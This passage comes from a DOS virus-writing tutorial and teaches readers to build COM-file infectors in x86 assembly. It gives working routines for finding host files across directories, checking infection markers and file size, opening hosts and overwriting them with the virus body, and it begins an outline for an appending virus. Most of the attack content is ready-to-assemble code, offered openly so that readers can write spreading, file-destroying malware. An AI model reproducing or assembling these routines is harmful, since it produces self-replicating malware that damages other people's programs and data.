;    DL  ‐ Drive number (0=default, 1=A, etc.) 
;    DS:SI  ‐ Pointer to a 64‐byte buffer 
;Returns:  AX  ‐ Error code, if CF is set 
;Error codes:  15  ‐ Invalid drive specified 
;Notes: This  function returns  the full  pathname  of the  current  directory, 
;  excluding  the drive designator and initial backslash character,  as an 
;  ASCIIZ string at the memory buffer pointed to by DS:SI. 
 
A 64 byte long buffer must be present to hold the original directory: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Orig_Dir  db  64    dup     (?) 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
Then before actually restoring to the old directory, you must first change to 
the root directory and then restore from there, since all paths are relative to 
it. 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
ChangeTo_Root: 
  mov  ah, 3Bh 
  lea  dx, [bp+offset Root] 
  int  21h 
  jc  Restore_DTA 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  3Bh  ‐ Change Directory (CHDIR) 
;On entry:  AH  ‐ 3Bh 
;    DS:DX  ‐ Pointer  to name of  new  default  directory  (ASCIIZ 
;        string) 
;Returns:  AX  ‐ Error code, if CF is set 
;Error Codes:  3  ‐ Path not found 
;Notes: This function changes the current directory to the directory whose path 
;  is specified in the  ASCIIZ string at address DS:DX;  the string length 
;  is limited to 64 characters.  The path name may include a drive letter. 
 
A buffer containing a ASCIIZ string representing the root: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Root    db  '\', 0 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
And finally you switch to the original directory  (if the original directory is 
the root there  will be an error since  the path won't be valid ‐  this doesn't 
matter since we changed to root before): 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Restore_Directory: 
  mov  ah, 3Bh 
  lea  dx, [bp+offset Orig_Dir] 
  int  21h 
  ;jc   Restore_DTA    ;No need, since it's right after 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
If you change drives while searching for files to infect  (this will be covered 
in a next article) you should also preserve the original drive and then restore 
it in the end. 
 
 
File Search Techniques 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
A runtime  virus  can  infect  files  located  in  the  current  directory,  in 
subdirectories,  maybe only in root,  in the PATH and even on different drives. 
You must  be very careful when writing  your search routine,  since if you only 
infect files  in a few places your  virus won't spread much,  but if you search 
for files to infect in every possible place, after the first infections it will 
start to take much  longer to find new hosts  (since most are already infected) 
and  disk activity might  last for long  enough to be  noticeable. Some of this 
techniques are presented below. The others will be presented on a next article. 
 
 
Find First/Find Next 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
This is used when you want to search for files on a the current directory.  You 
start by searching for the first matching COM file with normal attributes: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Find_First: 
  mov  ah, 4Eh 
  mov  cx, 0 
  lea  dx, [bp+offset COM_Mask] 
  int  21h 
  jnc  Open_File 
  jmp  Return_Control 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  4Eh  ‐ Find First Matching File (FIND FIRST) 
;On entry:  AH  ‐ 4Eh 
;    CX  ‐ File attribute 
;    DS:DX  ‐ Pointer to filespec (ASCIIZ string) 
;Returns:  AX  ‐ Error code, if CF is set 
;Error codes:  2  ‐ File not found 
;    3  ‐ Path not found 
;    18  ‐ No more files to be found 
;Notes: If CX  is 0,  the function  searches  for  normal  files  only.  If  CX 
;  specifies any combination of the hidden, system, or directory attribute 
;  bits,  the search matches  normal files and  also any files with  those 
;  attributes.  If CX specifies the  volume label attribute,  the function 
;  looks only for entries with the volume label attribute. The archive and 
;  read‐only attribute bits have no effect on the search operation. 
 
A buffer holding the filespec must be present: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
COM_Mask  db  "*.COM", 0
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
Then if  you're not done  infecting or if  the file didn't  pass your infection 
criteria you can look for some more files matching the same specifications: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Find_Next: 
  mov  ah, 4Fh 
  int  21h 
  jc  Return_Control    ;Replace with  'jc ChangeTo_Parent'  if 
          ; using the "dot dot" method 
  jmp  Open_File 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  4Fh  ‐ Find Next Matching File (FIND NEXT) 
;On entry:  AH  ‐ 4Fh 
;Returns:  AX  ‐ Error code, if CF is set 
;Error codes:  18  ‐ No more files to be found 
 
 
"Dot Dot" 
‐‐‐‐‐‐‐‐‐ 
If you wish to infect files on  different directories one curious and very easy 
way  of  doing so  is using  the "dot dot"  method  which  jumps to  the parent 
directory until your virus is satisfied or until it reaches the root: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
ChangeTo_Parent: 
  mov  ah, 3Bh 
  lea  dx, [bp+offset Parent_Dir] 
  int  21h 
  jc  Return_Control 
  jmp  Find_First 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
A buffer representing the parent directory in ASCIIZ string format must exist: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Parent_Dir  db  "..", 0 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
 
Infection Criteria 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Since a COM file is always less  than 65536 bytes it's easy to compare its size 
against our criteria.  Don't forget that you  must account for the  virus size, 
the stack, the PSP (just in case) and any uninitialized data: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Check_Size: 
  cmp  word ptr [bp+F_Size+2], 0 
  je  Check_PlusVirus 
  jmp  Close_File 
Check_PlusVirus: 
  mov  ax, word ptr [bp+F_Size] 
  add  ax, offset Virus_End ‐ offset Virus_Start + 4 + 256 + 109 
  jnc  PointTo_Begin 
  jmp  Close_File 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
Other criterias will be covered on later articles. 
 
 
Opening/Closing the Host 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
For now we will not worry about read‐only files, so we will open the file in 
read/write mode as this will fail on read‐only files: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Open_File: 
  mov  ah, 3Dh 
  mov  al, 00000010B 
  lea  dx, [bp+offset F_Name]  ;Replace  with  'mov dx, 9Eh'  for  the 
          ; overwriting virus since the file name 
          ; in the DTA is in the PSP (80h+1Eh) 
  int  21h 
  jnc  Save_Handle 
  jmp  Find_Next 
Save_Handle: 
  mov  word ptr [bp+F_Handle], ax 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  3Dh  ‐ Open a File 
;On entry:  AH  ‐ 3Dh 
;    AL  ‐ Open mode 
;    DS:DX  ‐ Pointer to filename (ASCIIZ string) 
;Returns:  AX  ‐ File handle 
;        Error code, if CF is set 
;Error codes:  1  ‐ Function number invalid 
;    2  ‐ File not found 
;    3  ‐ Path not found 
;    4  ‐ No handle available 
;    5  ‐ Access denied 
;    12  ‐ Open mode invalid 
;Notes: The function opens any existing file,  including hidden files, and sets 
;  the record size to 1 byte.
 
And here is the format of the open mode byte: 
 
   [Open Mode] 
 
   Bit(s)    Open Mode    Description 
   ‐‐‐‐‐‐    ‐‐‐‐‐‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐ 
   7 6 5 4 3 2 1 0 
   . . . . . x x x  Access mode    Read/Write access 
   . . . . x . . .  Reserved    Must always be zero 
   . x x x . . . .  Sharing mode    Must be 0 in DOS 2.x 
   x . . . . . . .  Inheritance flag  Must be 0 in DOS 2.x 
 
   [Access Mode] 
 
   Bit(s)  Access Mode 
   ‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐ 
   2 1 0 
   0 0 0  Read‐only access 
   0 0 1  Write‐only access 
   0 1 0  Read/write access 
 
   [Sharing Mode] 
 
   Bit(s)  Sharing Mode 
   ‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐ 
   6 5 4 
   0 0 0  Compatibility mode
   0 0 1  Deny Read/Write mode (Exclusive mode) 
   0 1 0  Deny Write mode 
   0 1 1  Deny Read mode 
   1 0 0  Deny None mode 
 
   [Inheritance Flag] 
 
   Bit    Inheritance Flag 
   ‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
   7 
   0    File is inherited by child processes 
   1    File is not inherited 
 
There should be a buffer for the file handle: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
F_Handle  dw  (?) 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
And when you're done with the file you close it: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Close_File: 
  mov  ah, 3Eh 
  mov  bx, word ptr [bp+F_Handle] 
  int  21h 
  jnz  Return_Control    ;Because of the <Copy_Body> routine 
  jnc  Find_Next 
  jmp  Return_Control 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  3Eh  ‐ Close a File Handle 
;On Entry:  AH  ‐ 3Eh 
;    BX  ‐ File handle 
;Returns:  AX  ‐ Error code, if CF is set 
;Error codes:  6  ‐ Invalid handle 
;Notes: This function flushes the file's buffers, closes the file, releases the 
;  handle, and updates the directory. 
 
 
Self‐Recognition 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
This is very important,  since if you don't check for prior infection you might 
end up  making the host  grow beyond  the maximum  permitted size.  There are a 
number of ways  of doing this,  you can check for  some sort of marker,  a time 
stamp can  be placed  on the host and others.  Only the  marker method  will be 
covered in this article. 
 
 
Marker Byte 
‐‐‐‐‐‐‐‐‐‐‐ 
The marker byte is  located at the beginning of  the file and is preceded  by a 
jump to  the real start of  the virus  (it has to be coded  "manually" since it 
doesn't assemble correctly): 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Host: 
  db  0E9h, 2, 0    ;This  is a near  jump to  Virus_Start, 
          ; which is  supposed to be  right after 
          ; the ID marker 
  db  'ID' 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
To read the first five bytes of an open file this is what you do: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Read_Five: 
  mov  ah, 3Fh 
  mov  bx, word ptr [bp+F_handle] 
  mov  cx, 5 
  lea  dx, [bp+offset IDMark] 
  int  21h 
  jnc  And_Also 
  jmp  Close_File 
And_Also: 
  cmp  cx, ax 
  jz  Check_IDMark 
  jmp  Close_File 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  3Fh  ‐ Read from File or Device, Using a Handle 
;On entry:  AH  ‐ 3Fh 
;    BX  ‐ File handle 
;    CX  ‐ Number of bytes to read 
;    DS:DX  ‐ Address of buffer 
;Returns:  AX  ‐ Number of bytes read, or 
;        Error code, if CF is set 
;Error codes:  5  ‐ Access denied 
;    6  ‐ Invalid handle 
;Network: Requires Read access rights 
;Notes: Data is read  starting at the location  pointed to by the file pointer. 
;  The file  pointer is  incremented by the  number of bytes read.  If the 
;  Carry Flag is  not set and AX = 0,  the file pointer was  at the end of 
;  the file  when the function  was called.  If the Carry Flag  is not set 
;  and AX is less than the number of bytes requested,  either the function 
;  read to the end of the file, or an error occurred. 
 
A 5 bytes long buffer must exist (this will hold a dummy host the first time it 
is run ‐ all it does is exit to DOS): 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
IDMark    db  0CDh, 20h, 90h, 90h, 90h 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
And to see if a valid ID marker exists in the five bytes read: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Check_IDMark: 
  cmp  word ptr [bp+IDMark+3], 'DI' 
  jnz  Check_Size 
  jmp  Close_File 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
 
Parasitic Replication Methods 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Only two examples  of parasitic viruses will be covered,  first the overwriting 
which doesn't need any displacement  calculations and after the appending virus 
that needs those calculations. Other types of parasitic viruses such as midfile 
infectors,  prepending viruses  as non‐parasitic  ones such  as companion  (aka 
spawning) viruses will be covered on future articles. 
 
 
An Overwriting Virus 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
As its  name says,  this type of virus  overwrites part of its host,  making it 
unnable to execute as  it is destroyed beyond repair.  And here is how it works 
(credit goes to Dark Angel for this nifty drawing): 
 
   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+   +‐‐‐‐‐‐‐+   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 
   | P R O G R A M | + | VIRUS | = | VIRUS | R A M | 
   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+   +‐‐‐‐‐‐‐+   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 
 
We won't really care about reinfection with this type of virus,  since there is 
no more file growth and also because  this virus is easily noticed.  An outline 
for a overwriting virus looks like this: 
 
   1. <Find_First> file 
   2. <Open_File> in read/write mode 
   3. <Copy_Body> of virus over the host 
   4. <Close_File> handle 
   5. <Find_Next> file 
      (a) If another file found then goto step 2 
   6. <Return_Control> back to DOS
 
Here is the copy routine  for the overwriting virus  (don't forget to strip out 
the displacement calculations for this type of viruses): 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Copy_Body: 
  mov  ah, 40h 
  mov  bx, word ptr [bp+F_Handle] 
  mov  cx, Virus_End ‐ Virus_Start 
  lea  dx, [bp+offset Virus_Start] 
  int  21h 
  ;jc   Close_File    ;No need since it's right after 
  cmp  cx, ax 
  ;jnz   Return_Control   ;Place  this  after  the   <Close_File> 
          ; routine,  since you  shouldn't  leave 
          ; unclosed file handles 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  40h  ‐ Write to File or Device, Using a Handle 
;On entry:  AH  ‐ 40h 
;    BX  ‐ File handle 
;    CX  ‐ Number of bytes to write 
;    DS:DX  ‐ Address of buffer 
;Returns:  AX  ‐ Number of bytes written, or 
;        Error code, if CF is set 
;Error codes:  5  ‐ Access denied 
;    6  ‐ Invalid handle 
;Network: Requires Write access rights 
;Notes: Data is written starting at the current file pointer.  The file pointer 
;  is  then incremented  by the  number of  bytes written.  If a disk full 
;  condition is encountered, no error code will be returned (i.e., CF will 
;  not  be set);  however,  fewer  bytes  than  requested  will have  been 
;  written.  You should  check for  this condition by  testing for AX less 
;  than CX after returning from the function. 
 
WARNING: This virus will infect and partially  or totally destroy all COM files 
   in the current directory!
 
 
Exiting To DOS 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
In an overwriting virus you need not pass control back to the host, since it is 
partially (or totally) destroyed,  so all the virus needs to do is exit to DOS. 
This can be done in any of this ways: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Return_Control: 
  mov  ah, 4Ch 
  mov  al, 00h 
  int  21h 
 
  ;mov   ah, 00h    ;Here is another way 
  ;int   21h 
 
  ;int   20h      ;And another 
 
  ;ret        ;Yet another way 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  4Ch  ‐ Terminate a Process (EXIT) 
;On entry:  AH  ‐ 4Ch 
;    AL  ‐ Return code 
;Returns:  Nothing 
;Notes: This function  is the  proper method  of terminating  a program  in DOS 
;  versions 2.0 and above.  It closes all files, and hands control back to 
;  the parent process  (usually COMMAND.COM),  along with the  return code 
;  specified in AL. 
 
;Interrupt:  21h 
;Function:  00h  ‐ Terminate Program 
;On entry:  AH  ‐ 00h 
;    CS  ‐ Segment address of PSP 
;Returns:  Nothing 
;Notes: DOS terminates the program, flushes the file buffers,  and restores the 
;  terminate, Ctrl‐Break,  and critical error exit addresses from the PSP. 
;  Close all files first. 
 
;INT 20h    ‐ Terminate Program 
;On entry:  CS  ‐ Segment address of PSP 
;Returns:  Nothing 
;Notes: Is equivalent to Interrupt 21h, Function 00h. 
 
 
An Appending Virus 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
The appending  virus works  by placing  its code at the  end of the host,  then 
copying the first bytes to a safe location and adding a jump to its code at the 
beginning  so that it takes  control before the  host does.  Unlike overwriting 
viruses,  no part of  the host is  permanently destroyed,  so it  will be  much 
harder to notice an infection. It looks like this: 
 
   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 
   | JMP to Virus_Start + IDMark | PROGRAM | Virus | First 5 bytes of PROGRAM | 
   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 
 
We will worry about  reinfection on this one,  directory preservation  and some 
other things. And here is an outline: 
 
   1. <Host> (jumps to start of virus) 
   2. Calculate the <Delta_Offset>
   3. <Save_AX> register 
   4. <Restore_Host>'s 5 original beginning bytes 
   5. <Set_DTA> to a new address 
   6. <Get_Directory> (the current one) 
   7. <Find_First> file 
   8. <Open_File> in read/write mode 
   9. <Read_Five> bytes from beginning of file 
   10. <Check_IDMark> for previous infection 
   11. <Check_Size> of intended host 
   12. <PointTo_Begin> of file 
   13. <Calc_Jump> to main virus body 
   14. <Write_Jump> to host 
   15. <PointTo_End> of file 
   16. <Copy_Body> of virus and the 5 bytes from the beginning of the file 
   17. <Close_File> handle 
   18. <Find_Next> file 
      (a) If another file found then goto step 8 
   19. <ChangeTo_Parent> directory
      (a) If not already in root then goto step 7 
   20. <Return_Control> (for the appending virus this is just a label) 
   21. <ChangeTo_Root> directory 
   22. <Restore_Directory> to original one 
   23. <Restore_DTA> to PSP:0080h 
   24. <Restore_AX> register 
   25. <ReturnTo_Host> back to the host 
 
Here is how to restore the host's original 5 bytes: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Restore_Host: 
  mov  cx, 5 
  lea  si, [bp+offset IDMark] 
  mov  di, 100h 
  rep  movsb 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
To move the file pointer to be beginning of the file: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
PointTo_Begin: 
  mov  ah, 42h 
  mov  al, 0 
  mov  bx, word ptr [bp+F_Handle] 
  mov  cx, 0 
  mov  dx, 0 
  int  21h 
  jnc  Calc_Jump 
  jmp  Close_File 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  42h  ‐ Move File Pointer (LSEEK) 
;On entry:  AH  ‐ 42h 
